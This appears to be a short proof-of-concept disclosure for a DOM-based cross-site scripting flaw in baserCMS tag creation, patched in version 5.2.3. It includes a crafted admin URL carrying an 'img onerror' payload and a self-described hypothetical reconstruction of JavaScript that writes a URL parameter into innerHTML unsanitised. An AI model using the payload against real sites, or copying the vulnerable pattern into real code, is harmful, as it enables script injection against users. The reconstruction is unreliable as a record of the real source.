baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has DOM-based cross-site scripting in tag creation. This issue has been patched in version 5.2.3.
The following code is for security research and authorized testing only.
python
<!--
PoC for baserCMS DOM XSS (CVE-2026-32734)
Context: Tag Creation functionality
-->
<!-- Step 1: Attacker crafts the malicious URL -->
<!-- https://target.com/baser/admin/baser_core/content_tags/add?name=<img src=x onerror=alert(1)> -->
<!-- Step 2: The vulnerable JavaScript code (Hypothetical reconstruction based on description) -->
<script>
// Vulnerable function that processes the URL parameter
function initTagForm() {
var urlParams = new URLSearchParams(window.location.search);
var tagName = urlParams.get('name');
// Vulnerable sink: Directly inserting user input into innerHTML without sanitization
if (tagName) {
document.getElementById('TagTitle').innerHTML = tagName;
}
}
// Execution
window.onload = initTagForm;
</script>
<!-- Step 3: When the victim loads the page, the alert(1) executes -->